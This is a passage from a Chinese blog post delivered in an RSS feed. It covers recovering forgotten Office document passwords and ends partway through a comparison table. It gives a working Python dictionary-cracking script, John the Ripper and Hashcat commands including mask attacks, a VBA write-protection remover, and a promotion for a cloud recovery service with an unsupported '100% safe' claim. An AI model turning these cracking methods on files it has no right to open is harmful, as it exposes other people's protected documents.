<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>开发者巴沙</title><link>http://dosoos.github.io/blog_basha/</link><description>Recent content on 开发者巴沙</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Fri, 22 May 2026 10:00:00 +0800</lastBuildDate><atom:link href="http://dosoos.github.io/blog_basha/index.xml" rel="self" type="application/rss+xml"/><item><title>Word/Excel文档密码忘记了？加密Office文件恢复方法大全（2026最新）</title><link>http://dosoos.github.io/blog_basha/p/word/excel%E6%96%87%E6%A1%A3%E5%AF%86%E7%A0%81%E5%BF%98%E8%AE%B0%E4%BA%86%E5%8A%A0%E5%AF%86office%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D%E6%96%B9%E6%B3%95%E5%A4%A7%E5%85%A82026%E6%9C%80%E6%96%B0/</link><pubDate>Thu, 21 May 2026 10:00:00 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/word/excel%E6%96%87%E6%A1%A3%E5%AF%86%E7%A0%81%E5%BF%98%E8%AE%B0%E4%BA%86%E5%8A%A0%E5%AF%86office%E6%96%87%E4%BB%B6%E6%81%A2%E5%A4%8D%E6%96%B9%E6%B3%95%E5%A4%A7%E5%85%A82026%E6%9C%80%E6%96%B0/</guid><description>&lt;h2 id="前言">前言&lt;/h2>
&lt;p>Office 文档加密是职场中最常见的数据保护手段。根据微软的统计，全球有超过 3 亿用户每天使用 Office 办公套件。但当你给一份重要的 Word 合同或 Excel 报表设置了打开密码，过了一段时间却怎么也想不起来时，那种焦虑感相信很多人都体会过。&lt;/p>
&lt;p>本文将系统介绍 Office 文档密码恢复的各种方法，覆盖 Word（.doc/.docx）、Excel（.xls/.xlsx）和 PowerPoint（.pptx）三大格式。&lt;/p>
&lt;h2 id="先搞清楚office-文档的两种密码">先搞清楚：Office 文档的两种密码&lt;/h2>
&lt;p>在开始之前，需要了解 Office 文档有两种不同类型的密码，破解难度完全不同：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>密码类型&lt;/th>
&lt;th>说明&lt;/th>
&lt;th>破解难度&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;strong>打开密码&lt;/strong>&lt;/td>
&lt;td>打开文件时需要输入&lt;/td>
&lt;td>较高（AES-128/256 加密）&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>修改密码&lt;/strong>&lt;/td>
&lt;td>打开可以查看，编辑时需要&lt;/td>
&lt;td>极低（可以绕过）&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>如果是&amp;quot;修改密码&amp;quot;，恭喜你，基本不需要破解。用 WPS 或 LibreOffice 打开文件，另存为新文件，修改密码就会丢失。本文主要讨论的是更难处理的&amp;quot;打开密码&amp;quot;。&lt;/p>
&lt;h2 id="office-文档加密算法的演变">Office 文档加密算法的演变&lt;/h2>
&lt;p>了解加密算法有助于判断破解难度：&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Office 97-2003 (.doc/.xls)&lt;/strong>：使用 RC4 加密（40-bit 或 56-bit），存在已知漏洞，&lt;strong>破解相对容易&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Office 2007 (.docx/.xlsx)&lt;/strong>：使用 AES-128 加密，安全性大幅提升&lt;/li>
&lt;li>&lt;strong>Office 2010+ (.docx/.xlsx)&lt;/strong>：使用 AES-128 并增加了迭代次数（100,000 次 SHA-1），&lt;strong>破解速度慢很多&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Office 2016+&lt;/strong>：默认使用 AES-256，是目前最强的加密标准&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>💡 &lt;strong>小贴士&lt;/strong>：如果你的文件是 .doc 或 .xls 老格式，破解速度会比 .docx 快几十倍。&lt;/p>
&lt;/blockquote>
&lt;h2 id="方法一msoffcrypto-toolpython-库推荐入门">方法一：msoffcrypto-tool（Python 库，推荐入门）&lt;/h2>
&lt;p>&lt;a class="link" href="https://github.com/nolze/msoffcrypto-tool" target="_blank" rel="noopener"
>msoffcrypto-tool&lt;/a> 是一个专门处理 Office 文件加密的 Python 库，可以检测加密类型并进行密码恢复。&lt;/p>
&lt;h3 id="安装">安装&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">pip install msoffcrypto-tool
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="检测文件是否加密">检测文件是否加密&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">msoffcrypto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;encrypted.docx&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;rb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">file&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">msoffcrypto&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">OfficeFile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;是否加密: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_encrypted&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="使用字典破解">使用字典破解&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">msoffcrypto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">crack_office&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">wordlist_path&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">file_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;rb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">file&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">msoffcrypto&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">OfficeFile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_encrypted&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;文件未加密&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">wordlist_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">encoding&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;utf-8&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">errors&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;ignore&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">wf&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">wf&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pwd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">pwd&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;✅ 密码找到: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pwd&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 解密文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;decrypted.docx&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;wb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">out&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">file&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">out&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;文件已解密保存&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pwd&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;❌ 字典中未找到密码&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">crack_office&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;report.xlsx&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;rockyou.txt&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="优缺点">优缺点&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>优点&lt;/strong>：纯 Python，跨平台，代码简洁&lt;/li>
&lt;li>&lt;strong>缺点&lt;/strong>：速度一般，不支持 GPU 加速&lt;/li>
&lt;/ul>
&lt;h2 id="方法二john-the-ripper--office2john">方法二：John the Ripper + office2john&lt;/h2>
&lt;p>John the Ripper 不仅支持压缩包，也支持 Office 文档的密码破解。&lt;/p>
&lt;h3 id="使用步骤">使用步骤&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1. 提取 Office 文件的密码哈希&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python /path/to/john/run/office2john.py encrypted.docx &amp;gt; hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 输出类似：&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># encrypted.docx:$office$*2013*100000*256*16*...（很长的哈希串）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2. 使用字典攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --wordlist&lt;span class="o">=&lt;/span>rockyou.txt hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 3. 查看结果&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --show hash.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="不同-office-版本的哈希模式">不同 Office 版本的哈希模式&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>版本&lt;/th>
&lt;th>John 模式标识&lt;/th>
&lt;th>破解速度参考&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Office 2003&lt;/td>
&lt;td>&lt;code>$oldoffice$&lt;/code>&lt;/td>
&lt;td>快（约 100K/s）&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Office 2007&lt;/td>
&lt;td>&lt;code>$office$*2007*&lt;/code>&lt;/td>
&lt;td>中（约 10K/s）&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Office 2010&lt;/td>
&lt;td>&lt;code>$office$*2010*&lt;/code>&lt;/td>
&lt;td>慢（约 1K/s）&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Office 2013+&lt;/td>
&lt;td>&lt;code>$office$*2013*&lt;/code>&lt;/td>
&lt;td>很慢（约 500/s）&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>以上速度参考基于 GTX 1080 显卡使用 Hashcat 的测试结果。&lt;/p>
&lt;/blockquote>
&lt;h2 id="方法三hashcat-gpu-加速破解">方法三：Hashcat GPU 加速破解&lt;/h2>
&lt;p>如果你有独立显卡，Hashcat 是破解 Office 密码最快的方案。&lt;/p>
&lt;h3 id="office-文档对应的-hashcat-模式">Office 文档对应的 Hashcat 模式&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Office 2003 (.doc/.xls)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">9700&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Office 2007 (.docx/.xlsx)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">9400&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Office 2010 (.docx/.xlsx)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">9500&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Office 2013+ (.docx/.xlsx)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">9600&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="使用掩码攻击已知密码格式">使用掩码攻击（已知密码格式）&lt;/h3>
&lt;p>如果你记得密码大概是 &amp;ldquo;公司名+年份&amp;rdquo; 的格式，可以用掩码缩小范围：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 假设密码格式为 &amp;#34;MyCompany202X&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">9600&lt;/span> -a &lt;span class="m">3&lt;/span> hash.txt &lt;span class="s2">&amp;#34;MyCompany202?d&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># ?d = 数字 0-9，这样只需尝试 10 个组合&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="优缺点-1">优缺点&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>优点&lt;/strong>：GPU 并行计算，速度极快&lt;/li>
&lt;li>&lt;strong>缺点&lt;/strong>：需要独显，配置复杂，Office 2013+ 版本由于高迭代次数，即使 GPU 加速也较慢&lt;/li>
&lt;/ul>
&lt;h2 id="方法四vba-宏破解修改密码">方法四：VBA 宏破解修改密码&lt;/h2>
&lt;p>如果文件只有&amp;quot;修改密码&amp;quot;（而非打开密码），可以用 VBA 宏直接绕过：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-vb" data-lang="vb">&lt;span class="line">&lt;span class="cl">&lt;span class="k">Sub&lt;/span> &lt;span class="nf">RemoveWriteProtection&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">Dim&lt;/span> &lt;span class="n">doc&lt;/span> &lt;span class="ow">As&lt;/span> &lt;span class="n">Document&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">Set&lt;/span> &lt;span class="n">doc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ActiveDocument&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c">&amp;#39; 移除写保护
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span> &lt;span class="k">If&lt;/span> &lt;span class="n">doc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ProtectionType&lt;/span> &lt;span class="o">&amp;lt;&amp;gt;&lt;/span> &lt;span class="n">wdNoProtection&lt;/span> &lt;span class="k">Then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">doc&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Unprotect&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">End&lt;/span> &lt;span class="k">If&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">MsgBox&lt;/span> &lt;span class="s">&amp;#34;修改密码已移除！&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">End&lt;/span> &lt;span class="k">Sub&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>⚠️ &lt;strong>注意&lt;/strong>：此方法仅对&amp;quot;修改密码&amp;quot;有效，对&amp;quot;打开密码&amp;quot;无效。&lt;/p>
&lt;/blockquote>
&lt;h2 id="方法五libreoffice-绕过法">方法五：LibreOffice 绕过法&lt;/h2>
&lt;p>某些情况下，LibreOffice 对加密文件的处理方式和 Microsoft Office 不同：&lt;/p>
&lt;ol>
&lt;li>安装 &lt;a class="link" href="https://www.libreoffice.org/" target="_blank" rel="noopener"
>LibreOffice&lt;/a>（免费开源）&lt;/li>
&lt;li>用 LibreOffice 打开加密的 .doc/.xls 文件&lt;/li>
&lt;li>部分旧格式文件可能不弹出密码框直接打开&lt;/li>
&lt;li>另存为新文件即可&lt;/li>
&lt;/ol>
&lt;p>&lt;strong>成功率&lt;/strong>：仅对 Office 97-2003 格式的部分加密文件有效，对 .docx/.xlsx 基本无效。&lt;/p>
&lt;h2 id="方法六在线云端恢复服务">方法六：在线云端恢复服务&lt;/h2>
&lt;p>对于不熟悉命令行操作的用户，或者本地算力不足以应对 Office 2013+ 的高强度加密时，&lt;strong>云端恢复服务&lt;/strong>是最省心的选择。&lt;/p>
&lt;p>&lt;strong>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网 (Catpasswd)&lt;/a>&lt;/strong> 支持 Word、Excel、PowerPoint 等 Office 文档的在线密码恢复：&lt;/p>
&lt;h3 id="为什么-office-文件特别适合用云端服务">为什么 Office 文件特别适合用云端服务？&lt;/h3>
&lt;p>Office 2010 之后的文档加密迭代次数非常高（10 万次 SHA-1），这意味着：&lt;/p>
&lt;ul>
&lt;li>每尝试一个密码都需要大量的计算&lt;/li>
&lt;li>普通电脑的 CPU 每秒可能只能尝试几百个密码&lt;/li>
&lt;li>一个 100 万条的字典，本地跑可能需要几个小时甚至几天&lt;/li>
&lt;/ul>
&lt;p>而云端分布式集群可以并行处理，大幅缩短等待时间。&lt;/p>
&lt;h3 id="使用流程">使用流程&lt;/h3>
&lt;ol>
&lt;li>访问 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> → &lt;a class="link" href="https://www.catpasswd.com/recovery" target="_blank" rel="noopener"
>恢复页面&lt;/a>&lt;/li>
&lt;li>上传加密的 Office 文件（Word/Excel/PPT，最大 100MB）&lt;/li>
&lt;li>填写邮箱地址&lt;/li>
&lt;li>等待系统自动恢复，成功后邮件通知&lt;/li>
&lt;/ol>
&lt;p>对于机密文件，可以使用平台的&lt;strong>特征提取工具&lt;/strong>在本地提取文件特征后仅上传特征数据，源文件不会离开你的电脑，100% 保证文档安全。&lt;/p>
&lt;h3 id="费用说明">费用说明&lt;/h3>
&lt;p>猫密网提供免费恢复模式，可以先测试能否恢复。如果免费版未能成功，可以升级到专业版使用更大的字典库和更快的计算资源。&lt;/p>
&lt;h2 id="各方法对比">各方法对比&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>方法&lt;/th>
&lt;th>支持格式&lt;/th>
